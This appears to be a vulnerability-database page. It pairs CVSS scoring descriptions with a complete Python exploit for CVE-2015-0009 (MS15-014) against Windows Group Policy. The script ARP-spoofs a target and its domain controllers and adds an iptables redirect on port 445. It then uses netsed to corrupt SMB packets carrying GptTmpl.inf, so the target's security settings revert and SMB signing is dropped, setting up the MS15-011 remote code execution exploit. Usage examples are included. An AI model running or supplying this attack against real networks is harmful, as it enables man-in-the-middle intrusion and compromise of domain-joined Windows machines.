The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows Server 2012 Group Policy Security Feature Bypass
# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Security Feature Bypass
# Date: 2019-10-28
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2,
# Windows 8, Windows Server 2012, Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0009
# Type: Remote
# Platform: Windows
# Description: This exploit code targets vulnerable systems in order to corrupt GPO updates which causes
# the target system to revert various security settings to their default settings. This includes SMB server
# and network client settings, which by default do not require SMB signing except for domain controllers.
# Successful exploitation against a system with a hardened configuration that requires SMB Signing by the
# network client will make the target system vulnerable to MS15-011, which can lead to remote code execution.
#!/usr/bin/python3
import argparse
import fcntl
import os
import socket
import struct
import subprocess
from subprocess import PIPE
import re
# MS15-014 Exploit.
# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-014
# Example usage: python3 ms15-014.py -t 172.66.10.2 -d 172.66.10.10 -i eth1
# Example usage with multiple DC's: python3 ms15-014.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1
# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.
def arpSpoof(interface, hostIP, targetIP):
arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
arpArgs = arpCmd.split()
print("Arpspoofing: %s" % (arpArgs))
p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
def corrupt_packet():
global count
# NetSed listen port 446 (iptables redirected), modify traffic, then forward to destination 445.
netsedCmd = "netsed tcp 446 0 445 s/%00%5c%00%4d%00%61%00%63%00%68%00%69%00%6e%00%65%00%5c%00%4d%00%69%00%63%00%72%00%6f%00%73%00%6f%00%66%00%74%00%5c%00%57%00%69%00%6e%00%64%00%6f%00%77%00%73%00%20%00%4e%00%54%00%5c%00%53%00%65%00%63%00%45%00%64%00%69%00%74%00%5c%00%47%00%70%00%74%00%54%00%6d%00%70%00%6c%00%2e%00%69%00%6e%00%66%00/%00%5c%00%4d%00%61%00%63%00%68%00%69%00%6e%00%65%00%5c%00%4d%00%69%00%63%00%72%00%6f%00%73%00%6f%00%66%00%74%00%5c%00%57%00%69%00%6e%00%64%00%6f%00%77%00%73%00%20%00%4e%00%54%00%5c%00%53%00%65%00%63%00%45%00%64%00%69%00%74%00%5c%00%47%00%70%00%74%00%54%00%6d%00%70%00%6c%00%2e%00%69%00%6e%00%66%00%00" #>/dev/null 2>&1 &
netsedArgs = netsedCmd.split()
print("Starting NetSed!")
print("NetSed: %s" % (netsedArgs))
netsedP = subprocess.Popen(netsedArgs, stdout=PIPE, stderr=subprocess.STDOUT)
while True:
o = (netsedP.stdout.readline()).decode('utf-8')
if o != '':
if args['verbose']:
print("NetSed output: %s" % o)
if re.search('Applying rule', o) is not None:
count += 1
print('packet corrupted: % s' % count)
# During testing, after 4 attempts to retrieve GptTmpl.inf the exploit was successful. Sometimes the machine requested the file 7 times, but exploitation was always successful after 4 attempts.
# The script waits for up to 7 for reliability. Tested on Windows 7 SP1 and Server 2012 R2
if count == 4:
print("Exploit has likely completed!! waiting for up to 7 corrupted packets for reliability. \nIf no more packets are corrupted in the next couple of minutes kill this script. The target should be reverted to default settings with SMB signing not required on the client. \nTarget can now be exploited with MS15-011 exploit.")
#During testing, after 7 attempts to retrieve GptTmpl.inf the GPO update stopped and exploitation was successful.
if count == 7:
break
def get_interface_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])
def iptables_config(targetIP, hostIP):
#allow forwarding, redirect arpspoofed traffic from dport 445 to 446 for NetSed.
print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
print('[+] Running command: iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446')
print('[+] Make sure to cleanup iptables after exploit completes')
os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
os.system('iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Find the SecEdit\GptTmpl.inf UUID to exploit MS15-014')
parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-014", required=True)
parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
parser.add_argument("-v", "--verbose", help="Toggle verbose mode. displays all output of NetSed, very busy terminal if enabled.", action='store_true')
args = vars(parser.parse_args())
target_ip = args['target_ip']
count = 0
# Get the provided interfaces IP address
ipAddr = get_interface_address(args['interface'])
dcSpoof = ""
dcCommaList = ""
dcCount = 0
# loop over the domain controllers, poison each and target the host IP
# create a comma separated list of DC's
# create a "-t" separate list of DC's for use with arpspoof
for dc in args['domain_controller']:
dcSpoof += "-t %s " % (dc)
if dcCount > 0:
dcCommaList += ",%s" % (dc)
else:
dcCommaList += "%s" % (dc)
arpSpoof(args['interface'], dc, "-t %s" % (target_ip))
dcCount += 1
# arpspoof the target and all of the DC's
arpSpoof(args['interface'], target_ip, dcSpoof)
# Setup iptables forwarding rules
iptables_config(target_ip, ipAddr)
#identify requests for GptTmpl.inf and modify the packet to corrupt it using NetSed.
corrupt_packet()
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